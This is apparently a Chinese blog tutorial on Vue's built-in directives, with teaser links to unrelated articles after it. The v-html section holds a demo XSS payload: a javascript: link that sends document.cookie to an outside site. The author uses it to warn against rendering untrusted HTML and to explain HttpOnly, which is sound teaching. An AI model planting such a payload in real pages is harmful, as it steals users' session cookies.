当前位置：首页 > news >正文

Vue基本的内置指令

news 2025/12/16 5:29:27

前言

除了常见的v-bind,v-for,v-if,v-on.v-model等，本次学习一些vue提供的其他内置指令

1 v-text

给标签插入文本，类似于插值语法

它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

效果和插值语法是一样的

插值语法比v-text更加的灵活，因为插值语法可以作为字符串拼接，但是v-text的值会替换掉整个div里面的值

前面说过，它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

不能解析标签的，会以正常文本显示

代码如下

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>初始vue</title><!-- 引入vue.js --><script type="text/javascript" src="../js/vue.js"></script><!-- 在线引入day.js --><!-- <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.6/dayjs.min.js"></script> --><!--引入day.js --><script src="../js/dayjs.min.js"></script>
</head>
<body><div id="root"><!-- 插值语法实现 --><h2>你好，{{name}}</h2><!-- v-text指令实现 --><h2 v-text="str"></h2></div>
</body> <script type="text/javascript">const vm=  new Vue({el:'#root',data:{name:'vue',str:'<h1>你好！！！</h1>'},})</script></html>

v-text总结

v-text指令

1 作用：向其所在的节点渲染文本内容

2 与插值语法的区别：v-text会替换掉节点中的内容，但是插值语法不会，它会进行拼接

2 v-html

和v-text作用以及写法类似，区别在于v-html可以帮助我们解析标签

可以发现，使用v-html可以实现标签解析，但是v-text是不行的，这也就是两者的区别

v-html的安全性问题

在网站上渲染任意HTML是非常危险的，容易导致XSS攻击

众所周知，cookie在网络上相当于个人身份证，我们在很多网站上都有cookie,这些信息是不能泄露的，不然可能导致很严重的问题，我们就以cookie为例子，验证v-html的安全性问题

右键检查或者F12,选择Application.左侧找到Storage->Cookies(既然加了S就说明可能存放的是多个网址的cookie),cookie本质就是键值对的JSON格式数据

首先因为的这个页面没有做登录功能，是没有cookie的，我需要自己仿造，双击即可添加

如图所示，我模拟了一些cookie，我们可以通过命令(document.cookie)查看cookie:

既然知道了这些，那么就可以模拟恶意获取cookie的场景,我这里用的是给一个文字，暗箱跳转到百度，并且把本台服务器的cookie作为参数携带进去，注意：这里这是模仿

点击发现跳到了百度，而且携带了我的cookie，这样是很危险的！

但是一般的网址都会做cookie的安全处理,查看cookie可以看到有一个HttpOnly选型，如果勾选上代表只能通过http协议获取，不能通过dom命令获取

比如我全部勾选

通过dom就什么也获取不到了

在网站上渲染任意HTML是非常危险的，容易导致XSS攻击！这不是vue的锅，只是不建议这么使用

代码如下

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>初始vue</title><!-- 引入vue.js --><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root"><!-- 插值语法实现 --><h2>你好，{{name}}</h2><!-- v-text指令实现 --><h2 v-text="str"></h2><!-- v-html进行标签解析 --><div v-html="str"></div><div v-html="getCookieUrl"></div></div>
</body> <script type="text/javascript">const vm=  new Vue({el:'#root',data:{name:'vue',str:'<h1>你好！！！</h1>',getCookieUrl:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>你想要的都在这哦~</a>'},})</script></html>

v-html总结

v-html指令：

1 作用：与指定节点中渲染包含html结构的内容

```
2 与插值法与的区别
```

  （1）v-html会替换掉节点的所有的内容，{{XX}}则不会

     （2）v-html可以识别html标签(结构)

   3 严重注意：v-html有安全性问题

  （1）在网站上渲染任意HTML是非常危险的，容易导致XSS攻击

  （2） 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上

3 v-cloak

由于这个不太好演示，这里只做说明不演示了

这个属性只有名字，没有值

 <h2 v-cloak>{{name}}</h2>

它一般配合css控制元素隐藏，等页面全部加载完毕之后，会自动删除v-cloak

v-cloak总结

v-cloak指令

1 它只有名字，没有值

2 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会自动删除c-cloak属性

3 使用css配合v-cloak可以解决网速慢的时候页面展示出{{XXX}}的问题

4 v-once

这个属性和v-cloak一样，也是没值的，只有属性名称

通过案例演示下，让vue保存一个数值n，然后让n展示在页面上

初步测试没问题

接下来新增需求，想再写一个h2标签，展示初始化的n值

随着页面的变化，初始化n的值也进行了变化

v-once显然不符合需求，这时候就需要用到v-once了，再h2标签加入

<h2 v-once>初始化n的值是：{{n}}</h2>

这时候再查看页面，实现需求

v-once总结
```
v-once指令：
```

1 v-once所在节点在初次动态渲染后，就视为静态内容了

2 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

5 v-pre

这个指令可以让vue跳过其所在节点的编译过程，也就是vue不会再解析写了v-pre 的东西了

 可利用它跳过一些代码，没有使用指令语法的节点，没有使用插值语法的节点，会更快的进行编译

Vue基本的内置指令

前言除了常见的v-bind,v-for,v-if,v-on.v-model等，本次学习一些vue提供的其他内置指令 1 v-text 给标签插入文本，类似于插值语法它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构效果和插值语法是一样的插值语法比v-text更加…...

编程日记 2023/5/29 19:04:10

华为孟晚舟当值首秀：2030年AI算力将增长500倍！

作者 | 范智林来源 | 华商观察微信号：HuashangGC 孟晚舟当值首次亮相。 4月19日，华为副董事长、轮值董事长、CFO孟晚舟在华为第20届全球分析师大会上进行演讲，这是她当值华为轮值董事长以来的首次公开亮相。按照华为内部规定&#xff0c…...

编程日记 2023/5/31 5:22:31

关于python异常的总结

Python异常是在程序执行时发生的错误，可能会导致程序终止运行。在Python中，异常处理是一种机制，它允许开发人员在程序发生异常时捕获、处理和报告这些异常，以便程序可以继续运行或在出现异常时进行优雅的退出。在Python中&…...

编程日记 2023/5/3 1:34:18

基于Java+SpringBoot+vue学生学习平台详细设计实现

基于JavaSpringBootvue学生学习平台详细设计实现博主介绍：5年java开发经验，专注Java开发、定制、远程、指导等,csdn特邀作者、专注于Java技术领域作者主页超级帅帅吴 Java项目精品实战案例《500套》欢迎点赞收藏 ⭐留言文末获取源码联系方式文章目…...

编程日记 2023/5/3 1:29:17

【云原生网关】Kong 使用详解

目录一、前言二、Kong介绍三、Kong核心组件 3.1 kong组件介绍 3.1.1 Kong Server 3.1.2 Apache Cassandra/PostgreSQL 3.1.3 Kong dashboard 3.2 传统网关与Kong工作模式对比四、Kong网关特征与架构 4.1 kong网关特征 4.1.1 可扩展性 4.1.2 模块化 4.1.3 在任…...

编程日记 2023/5/3 1:24:16

浅谈之Java多线程

Java多线程是Java语言中一个非常重要的特性，它允许程序同时执行多个任务。通过多线程，程序可以同时处理多项任务，从而缩短程序的执行时间。另外，多线程也有助于利用多核处理器，更好地发挥计算机硬件的性能。那我们在…...

编程日记 2023/5/3 1:19:15

【Vue3学习笔记1】一个清单应用帮你入门Vue.js

Vue 目前已经是国内最流⾏的前端框架之⼀，Vue 3 带来的诸多优化更是让前端圈迎来了新的潮流，比如： 基于 Proxy 的全新响应式实现； Composition API <script setup> 组织代码的更优方式； 更有料的 TypeScript 支…...

编程日记 2023/5/3 1:14:14

go破冰之旅·8·go函数基本实践及各种玩法

一次5-10分钟即可搞定，以干货效率的学习方式带你更直观的玩转各种玩法！ 行文不易，一字一句纯手打创造，倾注了不少精力，感谢支持。目录什么是函数？有哪些元素？ 函数参数、返回值小程序&…...

编程日记 2023/5/3 1:09:13

Qt - 从零到壹的打地鼠游戏

❤️‍🔥欢迎收看西北风的blog，好男人就是我，我就是西北风。✨ Gitee 地址 W_A_Mole NTC_jason/cc语言 - 码云 - 开源中国 (gitee.com) 目录 🟥一：创建一个主窗体 🟣二.：添加主窗口背景图片…...

编程日记 2023/5/31 9:03:56

代码自动发布系统

之前是jenkins发现gitlab代码更新了就自动获取直接部署到服务器现在是jenkins自动获取Code之后打包成镜像上传到仓库然后通知docker去拉取更新的镜像分析旧∶ 代码发布环境提前准备，以主机为颗粒度静态新: 代码发布环境多套，以容器为颗粒度编译 …...

编程日记 2023/5/3 0:59:10

文章目录 env安装查看版本查看支持的开发板查看支持的CPU的型号 env ubuntu 安装 sudo apt-get install qemu sudo apt-get install qemu-system-arm sudo apt-get install qemu-system查看版本 qemu-img -V qemu-system-arm --version qemu-system-aarch64 --version返回结…...

编程日记 2023/5/3 0:54:09

从根本上理解Synchronized的加锁过程

作为一个Java开发，对于Synchronized这个关键字并不会陌生，无论是并发编程，还是与面试官对线，Synchronized可以说是必不可少。在JDK1.6之前，都认为Synchronized是一个非常笨重的锁，就是在之前的《谈谈Java…...

编程日记 2023/5/3 0:49:07

CANOE入门到精通——CANOE系列教程记录1 第一个仿真工程

本系列以初学者角度记录学习CANOE，以《CANoe开发从入门到精通》参考学习，CANoe16 demo版就可以进行学习概念 CANoe是一种用于开发、测试和分析汽车电子系统的软件工具。它通过在不同层次上模拟汽车电子系统中的不同部件，如ECU、总线和传感…...

编程日记 2023/5/3 0:44:06

JavaEE——单例模式

文章目录一、介绍什么是单例模式二、饿汉模式三、懒汉模式四、讨论两种模式的线程安全问题一、介绍什么是单例模式在介绍单例模式之前，我们得先明确一个名词设计模式。所谓设计模式其实不难理解，就是在计算机这个圈子中，呢些大佬们为了…...

编程日记 2023/5/3 0:39:05

关于数据倾斜

1、数据倾斜表现 1.1 hadoop中的数据倾斜表现有一个多几个Reduce卡住，卡在99.99%，一直不能结束。各种container报错OOM异常的Reducer读写的数据量极大，至少远远超过其它正常的Reducer伴随着数据倾斜，会出现任务被kill等各种诡异…...

编程日记 2023/5/3 0:34:04

Shell第一次作业

要求： 1、判断当前磁盘剩余空间是否有20G，如果小于20G，则将报警邮件发送给管理员，每天检查一次磁盘剩余空间。 2、判断web服务是否运行（1、查看进程的方式判断该程序是否运行，2、通过查看端口的方式判断…...

编程日记 2023/5/3 0:29:03

实例解读nn.AdaptiveAvgPool2d((1, 1))

nn.AdaptiveAvgPool2d((1, 1))在PyTorch中创建一个AdaptiveAvgPool2d类的实例。该类在输入张量上执行2D自适应平均池化。自适应平均池化是一种池化操作，它计算每个输入子区域的平均值并产生一个指定大小的输出张量。子区域的大小是根据输入张量的大小和输出张量的…...

编程日记 2023/5/3 0:24:02

泛型编程之模板（template）

C另一种编程思想称为泛型编程，主要利用的技术就是模板目录 C另一种编程思想称为泛型编程，主要利用的技术就是模板一、概念二、函数模板 1、语法与使用： 2、函数模板注意事项 3、普通函数与函数模板的区别 4、普通函数与函数模板的调用规…...

编程日记 2023/5/3 0:19:01

用ChatGPT问DotNet的相关问题，发现DotNet工程师的前景还不错

本人最近费了九牛二虎之力注册了一个ChatGPT账号，现在就给大家分享一下，问一下关于.NET的问题，看看ChatGPT的AI功能具体如何？ 一、C#跟其它语言比较的优势回答： C#是一门编程语言，它是为 Microsoft 的 …...

编程日记 2023/5/3 0:14:00

LeetCode_字符串_简单_415.字符串相加

目录 1.题目2.思路3.代码实现（Java） 1.题目给定两个字符串形式的非负整数 num1 和num2，计算它们的和并同样以字符串形式返回。你不能使用任何內建的用于处理大整数的库（比如 BigInteger）， 也不能直接将…...

编程日记 2023/5/30 4:47:33

iOS 26 携众系统重磅更新，但“苹果智能”仍与国行无缘

美国西海岸的夏天，再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至，这不仅是开发者的盛宴，更是全球数亿苹果用户翘首以盼的科技春晚。今年，苹果依旧为我们带来了全家桶式的系统更新，包括 iOS 26、iPadOS 26…...

编程新知 2025/12/12 7:01:58

React Native 开发环境搭建（全平台详解）

React Native 开发环境搭建（全平台详解） 在开始使用 React Native 开发移动应用之前，正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南，涵盖 macOS 和 Windows 平台的配置步骤，如何在 Android 和 iOS…...

编程新知 2025/10/7 2:47:54

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略，并且实现了基本的选区操作，还调研了自绘选区的实现。那么相对的，我们还需要设计编辑器的选区表达，也可以称为模型选区。编辑器中应用变更时的操作范围，就是以模型选区为基准来…...

编程新知 2025/9/5 17:56:03

中南大学无人机智能体的全面评估！BEDI：用于评估无人机上具身智能体的综合性基准测试

作者：Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位：中南大学地球科学与信息物理学院论文标题：BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接：https://arxiv.…...

编程新知 2025/12/15 7:07:56

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中，手势开发全攻略：

在 HarmonyOS 应用开发中，手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力，既支持点击、长按、拖拽等基础单一手势的精细控制，也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

编程新知 2025/9/19 4:31:58

解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八

现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet，点击确认后如下提示最终上报fail 解决方法内核升级导致，需要在新内核下重新下载编译安装查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...

编程新知 2025/12/8 9:13:58